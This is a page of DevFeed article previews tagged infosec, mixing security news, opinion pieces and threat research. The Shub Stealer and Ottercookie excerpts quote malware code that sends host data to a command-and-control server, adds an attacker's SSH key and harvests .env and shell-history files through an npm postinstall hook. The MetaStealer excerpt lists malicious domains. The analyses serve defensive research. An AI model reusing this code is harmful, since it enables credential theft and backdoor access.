# infosec

Published articles for infosec.

This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles.

## CISA decides weekly vulnerability bulletin isn't necessary anymore

DevFeed: [CISA decides weekly vulnerability bulletin isn't necessary anymore](<https://devfeed.tech/articles/cisa-decides-weekly-vulnerability-bulletin-isn-t-necessary-anymore-31539.md>)

Original publisher: [Read original article](<https://www.theregister.com/security/2026/09/16/cisa-decides-weekly-vulnerability-bulletin-isnt-necessary-anymore/5296968>)

Author: Brandon Vigliarolo

Published: 2026-09-16T20:33:48Z

Content type: article

Language: en

Sources: [www.theregister.com - Articles](<https://devfeed.tech/sources/www-theregister-com-articles.md>)

Topics: [cisa](<https://devfeed.tech/topics/cisa.md>), [vulnerability](<https://devfeed.tech/topics/vulnerability.md>), [Security](<https://devfeed.tech/topics/security.md>)

Tags: [cisa](<https://devfeed.tech/tags/cisa.md>), [common-vulnerability-scoring-system](<https://devfeed.tech/tags/common-vulnerability-scoring-system.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [security](<https://devfeed.tech/tags/security.md>), [vulnerability](<https://devfeed.tech/tags/vulnerability.md>)

### AI overview

CISA is ending its weekly vulnerability bulletin on September 28, shifting from static CVSS scores to risk-based prioritization.

### Source excerpt

Agency's shift from static CVSS scores to risk-based prioritization sends the old format packing September 28

## Infoblox reports malicious infrastructure beneath illegal gambling sites

DevFeed: [Infoblox reports malicious infrastructure beneath illegal gambling sites](<https://devfeed.tech/articles/low-quality-casino-sites-conceal-highly-dangerous-threat-actors-26962.md>)

Original publisher: [Read original article](<https://www.theregister.com/security/2026/09/15/low-quality-casino-sites-conceal-highly-dangerous-threat-actors/5296652>)

Author: Thomas Claburn

Published: 2026-09-15T19:38:58Z

Content type: news

Language: en

Sources: [www.theregister.com - Articles](<https://devfeed.tech/sources/www-theregister-com-articles.md>)

Topics: [Security](<https://devfeed.tech/topics/security.md>), [Threat Research](<https://devfeed.tech/topics/threat-research.md>)

Tags: [command-and-control](<https://devfeed.tech/tags/command-and-control.md>), [cybersecurity](<https://devfeed.tech/tags/cybersecurity.md>), [infoblox](<https://devfeed.tech/tags/infoblox.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [malware](<https://devfeed.tech/tags/malware.md>), [online-gambling](<https://devfeed.tech/tags/online-gambling.md>), [security](<https://devfeed.tech/tags/security.md>)

### AI overview

Infoblox reports that malicious infrastructure is operating beneath illegal gambling sites and is linked to threat actors.

### Source excerpt

Security firm Infoblox shines light on malicious infrastructure lurking beneath illegal gambling sites

## MetaStealer traffic, new DGAs and analyzing the "tracker" backdoor DGA with AI

DevFeed: [MetaStealer traffic, new DGAs and analyzing the "tracker" backdoor DGA with AI](<https://devfeed.tech/articles/metastealer-traffic-new-dgas-and-analyzing-the-tracker-backdoor-dga-with-ai-22543.md>)

Original publisher: [Read original article](<https://medium.com/walmartglobaltech/metastealer-traffic-new-dgas-and-analyzing-the-tracker-backdoor-dga-with-ai-96ea63dc7c01?source=rss----905ea2b3d4d1---4>)

Author: Jason Reaves

Published: 2026-06-17T21:54:01Z

Content type: article

Language: en

Sources: [Walmart Global Tech](<https://devfeed.tech/sources/walmart-global-tech.md>)

Topics: [Malware](<https://devfeed.tech/topics/malware.md>), [backdoor](<https://devfeed.tech/topics/backdoor.md>), [payload](<https://devfeed.tech/topics/payload.md>), [Python](<https://devfeed.tech/topics/python.md>), [Claude](<https://devfeed.tech/topics/claude.md>), [Artificial Intelligence](<https://devfeed.tech/topics/ai.md>)

Tags: [ai](<https://devfeed.tech/tags/ai.md>), [backdoor](<https://devfeed.tech/tags/backdoor.md>), [capture](<https://devfeed.tech/tags/capture.md>), [claude](<https://devfeed.tech/tags/claude.md>), [claude-ai](<https://devfeed.tech/tags/claude-ai.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [ip](<https://devfeed.tech/tags/ip.md>), [malware](<https://devfeed.tech/tags/malware.md>), [payload](<https://devfeed.tech/tags/payload.md>), [port](<https://devfeed.tech/tags/port.md>), [python](<https://devfeed.tech/tags/python.md>), [reverse-engineering](<https://devfeed.tech/tags/reverse-engineering.md>)

### AI overview

The article examines new MetaStealer domain-generation algorithms and explains that its gate servers rely more on IP addresses, ports, URIs, and HTTP headers than on domains. It also analyzes RuntimeSync, a developing malware sample with RAT and backdoor capabilities, and describes using Claude.ai Sonnet 4.6 to reverse engineer its DGA and produce Python simulation code.

### Source excerpt

By: Jason Reaves and Joshua Platt In this blog we simply want to highlight a few new additions to what appears to be related to MetaStealer, one is a new wordlist based DGA used by MetaStealer. We also want to highlight that MetaStealer's proxies or 'gates' don't actually care what domain gets used as it's just a config item; they simply pass on the traffic to another server. We also want to highlight a task that was seen delivered to a few bots which is related to MetaStealer but appears to still be in development. This turned out to be a piece of malware that contains RAT/backdoor functionality. Leveraging Claude.ai Sonnet 4.6 we were able to systematically guide the AI to automatically reverse engineer the DGA used in the backdoor malware and provide working python code to simulate it. MetaStealer DGA: As previously mentioned MetaStealers new DGA is based on a wordlist. Below are some recent examples: sea-vast-send.com 46bbaceb6073f196bf7737c67f5394a6465e396bbcbbac1afe5f2f866c995fd0hxxp://pestrear-lamp.xyz:443 d57e132866286f9b4227c7fb1cd77f16a461e76a3f3e71362734741aab6b9a96hxxp://anus-staylard.xyz:443 d1b88ded80f0e616362b8984334c69da1ea2f32d0828480e32978d1a710f40c5 This does not mean, however, that the older DGA is no longer in use; it remains active. The threat actor (TA) has designed their gate servers in such a way that they are largely agnostic to the domain being used. Instead, the IP address, port, URI, and HTTP headers are the more important factors. 155.117.20.75 qocyeicmusmegouw.xyz 213.139.77.254 uumcceymkuymmqou.xyz We didn't focus on this DGA though because during our investigation we stumbled on a piece of malware being actively developed by the same TA that also had a DGA. Backdoor "tracker" During the investigation, we observed a peculiar payload being delivered to several machines: an installer named RuntimeSync, example hash: 82c218357266ce314f523946bdd661cc335a120981c471e95d70af7fbd4d9141 RuntimeSyncExe: PE32+ executable (GUI) x86-64, for MS Win

## Shub Stealers Fake Crypto Apps

DevFeed: [Shub Stealers Fake Crypto Apps](<https://devfeed.tech/articles/shub-stealers-fake-crypto-apps-22545.md>)

Original publisher: [Read original article](<https://medium.com/walmartglobaltech/shub-stealers-fake-crypto-apps-d5e2a65618b7?source=rss----905ea2b3d4d1---4>)

Author: Jason Reaves

Published: 2026-04-06T17:34:44Z

Content type: article

Language: en

Sources: [Walmart Global Tech](<https://devfeed.tech/sources/walmart-global-tech.md>)

Topics: [Security](<https://devfeed.tech/topics/security.md>), [C2](<https://devfeed.tech/topics/c2.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [payload](<https://devfeed.tech/topics/payload.md>), [telemetry](<https://devfeed.tech/topics/telemetry.md>), [API](<https://devfeed.tech/topics/api.md>), [JSON](<https://devfeed.tech/topics/json.md>)

Tags: [c2](<https://devfeed.tech/tags/c2.md>), [code](<https://devfeed.tech/tags/code.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [json](<https://devfeed.tech/tags/json.md>), [macos](<https://devfeed.tech/tags/macos.md>), [malware](<https://devfeed.tech/tags/malware.md>), [payload](<https://devfeed.tech/tags/payload.md>), [reverse-engineering](<https://devfeed.tech/tags/reverse-engineering.md>), [security](<https://devfeed.tech/tags/security.md>), [shell](<https://devfeed.tech/tags/shell.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [telemetry](<https://devfeed.tech/tags/telemetry.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

Jason Reaves examines Shub Stealer's fake cryptocurrency applications. The article describes shell-script checks that collect system and locale information, send telemetry, and block execution in certain environments, then explains how counterfeit Exodus, Atomic, Ledger, LedgerLive, and Trezor apps capture wallet credentials or recovery phrases and send the data to command-and-control infrastructure.

### Source excerpt

By: Jason Reaves Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately. Shell script: fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd After decoding however it is a bit different as it includes a number of checks: #!/bin/zsh # Debug loader -- detect CIS and block with telemetry IS_CIS="false" if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi # Detect locale info -- sanitize for JSON LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown") HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown") OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown") EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown") EXT_IP=$(echo "$EXT_IP" | tr -d ' ') # Build JSON safely using printf send_debug_event() { local EVT="$1" local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER") curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1 } # If CIS -- send cis_blocked event and exit if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" >/dev/null 2>&1 exit 0 fi # Not CIS -- send loader_requested event send_debug_event "loader_requested" >/dev/null 2>&1 & daemon_function() { exec </dev/null exec >/dev/null exec 2>/dev/null curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Sa

## Mapping Ottercookie Infrastructure

DevFeed: [Mapping Ottercookie Infrastructure](<https://devfeed.tech/articles/mapping-ottercookie-infrastructure-22542.md>)

Original publisher: [Read original article](<https://medium.com/walmartglobaltech/mapping-ottercookie-infrastructure-1c49f0cd3883?source=rss----905ea2b3d4d1---4>)

Author: Jason Reaves

Published: 2026-04-06T17:33:39Z

Content type: article

Language: en

Sources: [Walmart Global Tech](<https://devfeed.tech/sources/walmart-global-tech.md>)

Topics: [Threat Research](<https://devfeed.tech/topics/threat-research.md>), [Malware](<https://devfeed.tech/topics/malware.md>), [JavaScript](<https://devfeed.tech/topics/javascript.md>), [npm](<https://devfeed.tech/topics/npm.md>), [ssh](<https://devfeed.tech/topics/ssh.md>), [Feathers](<https://devfeed.tech/topics/feathers.md>)

Tags: [backdoor](<https://devfeed.tech/tags/backdoor.md>), [credentials](<https://devfeed.tech/tags/credentials.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [javascript](<https://devfeed.tech/tags/javascript.md>), [malware](<https://devfeed.tech/tags/malware.md>), [malware-analysis](<https://devfeed.tech/tags/malware-analysis.md>), [npm](<https://devfeed.tech/tags/npm.md>), [reverse-engineering](<https://devfeed.tech/tags/reverse-engineering.md>), [ssh](<https://devfeed.tech/tags/ssh.md>)

### AI overview

Jason Reaves analyzes infrastructure associated with OtterCookie and related DPRK-linked malware activity. The article examines a NodeJS package whose decoded code downloads an SSH key, retrieves scan patterns targeting files such as .env and shell history, and sends collected files to remote infrastructure. It then uses port mappings and banner hashes to map additional infrastructure.

### Source excerpt

By: Jason Reaves A lot of focus specifically surrounding DPRK has been on IT workers but there are multiple entities performing various schemes. One of the more prolific ones being interviewing developers and having them work on TA supplied code repositories from various sites. The malware delivered is normally leveraged for harvesting credentials and crypto; InvisibleFerret[5], BeaverTail, OtterCookie and Golang based malware[4]. Alot of work goes into tracking and cataloging the various malware families and their code overlaps, not many people focus on the infrastructure side though which is surprising because it's pretty similar to malware analysis; just more pattern matching. While tracking some other malware I ended up pivoting into NodeJS based stealer and backdoor code that resembled similar tactics to DPRK campaigns. 3a08e7f236aac7f6eb6f75911b98bc5157dcfa53b268b447f7d1b87b0615b90d "name": "npm-doc-builder", "version": "1.0.5", "description": "", "main": "index.js", "scripts": { "postinstall": "node test.js" }, "publishConfig": { "access": "public" }, "dependencies": { "axios": "^1.7.0", "child_process": "^1.0.2", "os": "^0.1.2" }, "engines": { "node": ">=18" }, "keywords": [], "author": "", "license": "ISC", "type": "commonjs" The decoded index javascript from this package ends up doing a few things, first it will want to download a SSH key to be added locally: const _0x30c718 = await fetch("https://cloudflareinsights[.]vercel[.]app/"); const { msg: _0x50cbce } = await _0x30c718.json(); let _0x581499 = false; if (process.platform === "linux") { _0x581499 = addSshKeyToUser(_0x50cbce); It will also download patterns for scanning const _0x3c4caa = await fetch("https://cloudflareinsights[.]vercel[.]app/api/scan-patterns"); const { scanPatterns: _0x28ca54 } = await _0x3c4caa.json(); In this case it returned: {"scanPatterns":[".env",".bash_history","ConsoleHost_history.txt"]} Ultimately wanting to send off the files: for (let _0x14ded9 = 0x0; _0x14ded9 < _0x57def7

## \[RevEng\] Challenge: Ukrainian receipts: the solution

DevFeed: [\[RevEng\] Challenge: Ukrainian receipts: the solution](<https://devfeed.tech/articles/reveng-challenge-ukrainian-receipts-the-solution-20577.md>)

Original publisher: [Read original article](<https://yurichev.com/blog/receipts/>)

Published: 2025-11-19T23:00:00Z

Content type: article

Language: en

Sources: [Dennis Yurichev](<https://devfeed.tech/sources/dennis-yurichev.md>)

Topics: [data](<https://devfeed.tech/topics/data.md>), [Cryptography](<https://devfeed.tech/topics/cryptography.md>)

Tags: [encryption](<https://devfeed.tech/tags/encryption.md>), [infosec](<https://devfeed.tech/tags/infosec.md>)

### AI overview

A reverse-engineering challenge solution explains that Ukrainian receipt strings are Base64-encoded low-entropy data rather than encrypted content. It identifies recurring zero-byte patterns and a possible header structure.

### Source excerpt

[RevEng] Challenge: Ukrainian receipts: the solution

## Jerry Gamblin Announces Two CVE Ecosystem Talks at BSides Las Vegas and DEF CON

DevFeed: [Jerry Gamblin Announces Two CVE Ecosystem Talks at BSides Las Vegas and DEF CON](<https://devfeed.tech/articles/vegas-bound-for-security-summer-camp-27473.md>)

Original publisher: [Read original article](<https://jerrygamblin.com/2025/07/30/vegas-bound-for-security-summer-camp/>)

Author: jgamblin

Published: 2025-07-30T18:05:00Z

Content type: opinion

Language: en

Sources: [Jerry Gamblin](<https://devfeed.tech/sources/jerry-gamblin.md>)

Topics: [Security](<https://devfeed.tech/topics/security.md>), [vulnerability management](<https://devfeed.tech/topics/vulnerability-management.md>), [Open Source](<https://devfeed.tech/topics/open-source.md>)

Tags: [black-hat](<https://devfeed.tech/tags/black-hat.md>), [bsides](<https://devfeed.tech/tags/bsides.md>), [cves](<https://devfeed.tech/tags/cves.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [management](<https://devfeed.tech/tags/management.md>), [open-source](<https://devfeed.tech/tags/open-source.md>), [security](<https://devfeed.tech/tags/security.md>), [uncategorized](<https://devfeed.tech/tags/uncategorized.md>)

### AI overview

Jerry Gamblin announces that he will give two talks on the CVE ecosystem during Security Summer Camp, including appearances at BSides Las Vegas and the AppSec Village at DEF CON.

### Source excerpt

It's that time of year again! The first week of August means my annual trip to the desert for "Security Summer Camp"--the whirlwind of BSides Las Vegas, Black Hat, and DEF CON. It's always an exhausting but amazing week, and I can't wait to dive in, catch up with everyone, and talk about what I've ... Read more

## Leveraging Linux Internals to Supercharge Osquery Malware Detection

DevFeed: [Leveraging Linux Internals to Supercharge Osquery Malware Detection](<https://devfeed.tech/articles/leveraging-linux-internals-to-supercharge-osquery-malware-detection-15748.md>)

Original publisher: [Read original article](<https://developer.squareup.com/blog/leveraging-linux-internals-to-supercharge-osquery-malware-detection>)

Author: Frank Graziano

Published: 2024-03-27T16:00:00Z

Content type: tutorial

Language: en

Sources: [Square Corner Blog RSS Feed](<https://devfeed.tech/sources/square-corner-blog-rss-feed.md>)

Topics: [Malware](<https://devfeed.tech/topics/malware.md>), [Linux](<https://devfeed.tech/topics/linux.md>), [Filesystems](<https://devfeed.tech/topics/filesystems.md>), [Processes](<https://devfeed.tech/topics/processes.md>), [Security](<https://devfeed.tech/topics/security.md>), [Kernel](<https://devfeed.tech/topics/kernel.md>), [Operating system](<https://devfeed.tech/topics/operating-system.md>), [Instrumentation](<https://devfeed.tech/topics/instrumentation.md>), [Open Source](<https://devfeed.tech/topics/open-source.md>)

Tags: [engineering](<https://devfeed.tech/tags/engineering.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [instrumentation](<https://devfeed.tech/tags/instrumentation.md>), [internals](<https://devfeed.tech/tags/internals.md>), [kernel](<https://devfeed.tech/tags/kernel.md>), [linux](<https://devfeed.tech/tags/linux.md>), [malware](<https://devfeed.tech/tags/malware.md>), [memory](<https://devfeed.tech/tags/memory.md>)

### AI overview

This article explains how to use Linux's virtual /proc filesystem with osquery's YARA scanning capability to detect fileless or in-memory malware. It describes the limitations of scanning only on-disk files and presents /proc as a way to satisfy the required file-path argument while scanning process-related data.

### Source excerpt

Using /proc to find fileless malware

## Using form hijacking to bypass CSP

DevFeed: [Using form hijacking to bypass CSP](<https://devfeed.tech/articles/using-form-hijacking-to-bypass-csp-7718.md>)

Original publisher: [Read original article](<https://portswigger.net/research/using-form-hijacking-to-bypass-csp>)

Author: Gareth Heyes

Published: 2024-03-05T14:55:00Z

Content type: article

Language: en

Sources: [PortSwigger Research](<https://devfeed.tech/sources/portswigger-research.md>)

Topics: [Security](<https://devfeed.tech/topics/security.md>), [vulnerability](<https://devfeed.tech/topics/vulnerability.md>), [passwords](<https://devfeed.tech/topics/passwords.md>), [HTML](<https://devfeed.tech/topics/html.md>), [Bug Bounty](<https://devfeed.tech/topics/bugbounty.md>), [Chrome](<https://devfeed.tech/topics/chrome.md>), [Mastodon](<https://devfeed.tech/topics/mastodon.md>), [Google](<https://devfeed.tech/topics/google.md>)

Tags: [bug-bounty](<https://devfeed.tech/tags/bug-bounty.md>), [chrome](<https://devfeed.tech/tags/chrome.md>), [csp](<https://devfeed.tech/tags/csp.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [html](<https://devfeed.tech/tags/html.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [password](<https://devfeed.tech/tags/password.md>), [report](<https://devfeed.tech/tags/report.md>), [security](<https://devfeed.tech/tags/security.md>), [vulnerability](<https://devfeed.tech/tags/vulnerability.md>)

### AI overview

This article explains how form hijacking can bypass Content Security Policy when a site has an HTML injection vulnerability and fails to restrict form actions. Injected forms or form-action attributes can send credentials to an attacker, with password managers potentially autofilling the fields. It discusses real-world examples, CSP configuration mistakes, and Burp passive scan checks for related issues.

### Source excerpt

In this post we'll show you how to bypass CSP by using an often overlooked technique that can enable password theft in a seemingly secure configuration. What is form hijacking? Form hijacking isn't re

## Infosec Skill Sets

DevFeed: [Infosec Skill Sets](<https://devfeed.tech/articles/infosec-skill-sets-30201.md>)

Original publisher: [Read original article](<https://www.netmeister.org/blog/infosec-skillsets.html>)

Published: 2022-01-21T03:27:56Z

Content type: article

Language: en

Sources: [Signs of Triviality](<https://devfeed.tech/sources/signs-of-triviality.md>)

Topics: [Security](<https://devfeed.tech/topics/security.md>), [Computer science](<https://devfeed.tech/topics/computer-science.md>), [Programming](<https://devfeed.tech/topics/programming.md>), [Software Engineering](<https://devfeed.tech/topics/software-engineering.md>), [networking](<https://devfeed.tech/topics/networking.md>)

Tags: [infosec](<https://devfeed.tech/tags/infosec.md>), [programming](<https://devfeed.tech/tags/programming.md>), [soft-skills](<https://devfeed.tech/tags/soft-skills.md>), [software-engineering](<https://devfeed.tech/tags/software-engineering.md>)

### AI overview

The article discusses how information-security professionals develop different combinations of technical and non-technical skills. It uses overlapping Venn-diagram categories to distinguish computer science, programming, operations, networking, and software engineering, while emphasizing that no single background is required for everyone.

### Source excerpt

Soft skills are hard, and everybody's career path different. Some skill sets tend to intersect, however. Here's my simplified breakdown using, what else, Venn diagrams.

## (Technical) Infosec Core Competencies

DevFeed: [(Technical) Infosec Core Competencies](<https://devfeed.tech/articles/technical-infosec-core-competencies-30199.md>)

Original publisher: [Read original article](<https://www.netmeister.org/blog/infosec-competencies.html>)

Published: 2021-06-10T03:08:05Z

Content type: article

Language: en

Sources: [Signs of Triviality](<https://devfeed.tech/sources/signs-of-triviality.md>)

Topics: [infosec](<https://devfeed.tech/topics/infosec.md>), [Security](<https://devfeed.tech/topics/security.md>)

Tags: [core](<https://devfeed.tech/tags/core.md>), [information](<https://devfeed.tech/tags/information.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [technical](<https://devfeed.tech/tags/technical.md>)

### AI overview

An incomplete list of technical competencies that people working in information security would benefit from knowing.

### Source excerpt

An incomplete list of things just about anybody working in Information Security would benefit from knowing.

## Lost Infosec Battles

DevFeed: [Lost Infosec Battles](<https://devfeed.tech/articles/lost-infosec-battles-30212.md>)

Original publisher: [Read original article](<https://www.netmeister.org/blog/lost-infosec-battles.html>)

Published: 2020-11-06T15:44:27Z

Content type: opinion

Language: en

Sources: [Signs of Triviality](<https://devfeed.tech/sources/signs-of-triviality.md>)

Topics: [infosec](<https://devfeed.tech/topics/infosec.md>)

Tags: [infosec](<https://devfeed.tech/tags/infosec.md>)

### AI overview

The article discusses seven information-security battles that have been lost but continue to receive effort.

### Source excerpt

7 battles #infosec has lost but we keep wasting efforts on trying to fight again and again nonetheless.

## The Uber CSO indictment

DevFeed: [The Uber CSO indictment](<https://devfeed.tech/articles/the-uber-cso-indictment-37012.md>)

Original publisher: [Read original article](<https://shostack.org/blog/the-uber-cso-indictment/>)

Author: Adam

Published: 2020-08-28T00:00:00Z

Content type: opinion

Language: en

Sources: [Shostack & Friends Blog](<https://devfeed.tech/sources/shostack-friends-blog.md>)

Topics: [infosec](<https://devfeed.tech/topics/infosec.md>), [data](<https://devfeed.tech/topics/data.md>)

Tags: [breach](<https://devfeed.tech/tags/breach.md>), [ciso](<https://devfeed.tech/tags/ciso.md>), [department-of-justice](<https://devfeed.tech/tags/department-of-justice.md>), [disclosure](<https://devfeed.tech/tags/disclosure.md>), [ftc](<https://devfeed.tech/tags/ftc.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [law](<https://devfeed.tech/tags/law.md>)

### AI overview

An analysis of the Uber CSO indictment and Mark Rasch's essay on concealing and failing to report a data breach. The article emphasizes due process for Joe Sullivan and argues that the case may make organizations and lawyers more cautious about breach disclosures, potentially reducing their usefulness for learning from mistakes.

### Source excerpt

Thoughts on Mark Rasch's essay, Conceal and Fail to Report - The Uber CSO Indictment

## Threat Modeling Thursday: The Human Element

DevFeed: [Threat Modeling Thursday: The Human Element](<https://devfeed.tech/articles/threat-modeling-thursday-the-human-element-37087.md>)

Original publisher: [Read original article](<https://shostack.org/blog/tmt-the-human-element/>)

Author: Adam

Published: 2020-01-09T00:00:00Z

Content type: opinion

Language: en

Sources: [Shostack & Friends Blog](<https://devfeed.tech/sources/shostack-friends-blog.md>)

Topics: [infosec](<https://devfeed.tech/topics/infosec.md>)

Tags: [infosec](<https://devfeed.tech/tags/infosec.md>), [podcast](<https://devfeed.tech/tags/podcast.md>)

### AI overview

The author joined Caroline Wong on the Humans of Infosec Podcast to discuss the human element of threat modeling.

### Source excerpt

I joined Caroline Wong on the Humans of Infosec Podcast to discuss The Human Element of Threat Modeling.

## The Zen of Infosec: "import cyber"

DevFeed: [The Zen of Infosec: "import cyber"](<https://devfeed.tech/articles/the-zen-of-infosec-30281.md>)

Original publisher: [Read original article](<https://www.netmeister.org/blog/zen.html>)

Published: 2019-03-26T21:16:23Z

Content type: opinion

Language: en

Sources: [Signs of Triviality](<https://devfeed.tech/sources/signs-of-triviality.md>)

Topics: [Programming](<https://devfeed.tech/topics/programming.md>)

Tags: [infosec](<https://devfeed.tech/tags/infosec.md>), [programming](<https://devfeed.tech/tags/programming.md>), [programming-languages](<https://devfeed.tech/tags/programming-languages.md>), [python](<https://devfeed.tech/tags/python.md>)

### AI overview

The article connects Python's "import this," known as The Zen of Python, with a proposed "import cyber" concept for infosec and other programming languages.

### Source excerpt

'import this', aka 'The Zen of Python' is well known and holds across other programming languages as well. Now it's time to 'import cyber'!

## Resources for Infosec Skillbuilding

DevFeed: [Resources for Infosec Skillbuilding](<https://devfeed.tech/articles/resources-for-infosec-skillbuilding-36955.md>)

Original publisher: [Read original article](<https://shostack.org/blog/resources-for-infosec-skillbuilding/>)

Author: Adam

Published: 2018-12-12T00:00:00Z

Content type: opinion

Language: en

Sources: [Shostack & Friends Blog](<https://devfeed.tech/sources/shostack-friends-blog.md>)

Topics: [infosec](<https://devfeed.tech/topics/infosec.md>)

Tags: [book](<https://devfeed.tech/tags/book.md>), [featured](<https://devfeed.tech/tags/featured.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [list](<https://devfeed.tech/tags/list.md>), [resources](<https://devfeed.tech/tags/resources.md>)

### AI overview

The author thanks Digital Guardian for featuring The Threat Modeling Book in its list of resources for InfoSec skillbuilding and notes that the book has remained useful over time.

### Source excerpt

The Threat Modeling Book has been featured on a list of resources by Digital Guardian.

## Threat Modeling and Architecture

DevFeed: [Threat Modeling and Architecture](<https://devfeed.tech/articles/threat-modeling-and-architecture-37024.md>)

Original publisher: [Read original article](<https://shostack.org/blog/threat-modeling-and-architecture/>)

Author: Adam

Published: 2017-09-18T00:00:00Z

Content type: opinion

Language: en

Sources: [Shostack & Friends Blog](<https://devfeed.tech/sources/shostack-friends-blog.md>)

Topics: [infosec](<https://devfeed.tech/topics/infosec.md>), [Architecture & Design](<https://devfeed.tech/topics/architecture-design.md>), [software-architecture](<https://devfeed.tech/topics/software-architecture.md>)

Tags: [architecture](<https://devfeed.tech/tags/architecture.md>), [engineering](<https://devfeed.tech/tags/engineering.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [software-architecture](<https://devfeed.tech/tags/software-architecture.md>)

### AI overview

The article examines how threat modeling and software architecture both use system models to reason about properties, tradeoffs, design choices, and potential problems. It presents a four-step threat-modeling process and discusses how the two practices can inform each other.

### Source excerpt

[no description provided]

## Introduction to Operational Security for Developers and Other Non-Infosec Experts

DevFeed: [Introduction to Operational Security for Developers and Other Non-Infosec Experts](<https://devfeed.tech/articles/opsec-101-a-choose-your-own-adventure-for-devs-ops-and-other-humans-30227.md>)

Original publisher: [Read original article](<https://www.netmeister.org/blog/opsec101.html>)

Published: 2016-12-10T01:46:51Z

Content type: article

Language: en

Sources: [Signs of Triviality](<https://devfeed.tech/sources/signs-of-triviality.md>)

Topics: [Security](<https://devfeed.tech/topics/security.md>)

Tags: [developers](<https://devfeed.tech/tags/developers.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [introduction](<https://devfeed.tech/tags/introduction.md>), [operational](<https://devfeed.tech/tags/operational.md>), [security](<https://devfeed.tech/tags/security.md>)

### AI overview

A write-up of a ConFoo Vancouver 2016 talk introducing operational security to developers and other readers without information-security expertise.

### Source excerpt

Write-up of a talk given at ConFoo Vancouver 2016, providing an introduction to operational security for developers and other non-infosec experts.

## How to Seem Smart in Infosec Meetings

DevFeed: [How to Seem Smart in Infosec Meetings](<https://devfeed.tech/articles/how-to-seem-smart-in-infosec-meetings-30190.md>)

Original publisher: [Read original article](<https://www.netmeister.org/blog/how-to-seem-smart-in-infosec.html>)

Published: 2015-08-12T17:02:42Z

Content type: tutorial

Language: en

Sources: [Signs of Triviality](<https://devfeed.tech/sources/signs-of-triviality.md>)

Topics: [meetings](<https://devfeed.tech/topics/meetings.md>)

Tags: [how-to](<https://devfeed.tech/tags/how-to.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [meetings](<https://devfeed.tech/tags/meetings.md>)

### AI overview

A brief how-to article about appearing knowledgeable and asserting superiority in information security meetings.

### Source excerpt

Appearing smart in meetings isn't easy. And in Infosec, you may have to turn it up a notch. Follow these easy rules to assert your superiority when facing other infosec nerds.

## Introduction to Information Security Concepts for System Administrators

DevFeed: [Introduction to Information Security Concepts for System Administrators](<https://devfeed.tech/articles/infosec-basics-reason-behind-madness-30198.md>)

Original publisher: [Read original article](<https://www.netmeister.org/blog/infosec-basics.html>)

Published: 2014-12-24T20:17:25Z

Content type: tutorial

Language: en

Sources: [Signs of Triviality](<https://devfeed.tech/sources/signs-of-triviality.md>)

Topics: [Security](<https://devfeed.tech/topics/security.md>), [Requirements](<https://devfeed.tech/topics/requirements.md>)

Tags: [infosec](<https://devfeed.tech/tags/infosec.md>), [introduction](<https://devfeed.tech/tags/introduction.md>), [security](<https://devfeed.tech/tags/security.md>), [sysadmins](<https://devfeed.tech/tags/sysadmins.md>), [understand](<https://devfeed.tech/tags/understand.md>)

### AI overview

An introduction to general information security concepts for system administrators, explaining the reasons behind some security requirements imposed on them.

### Source excerpt

An introduction to general infosec concepts, hoping to help sysadmins better understand the reasons behind some of the security requirements imposed on them.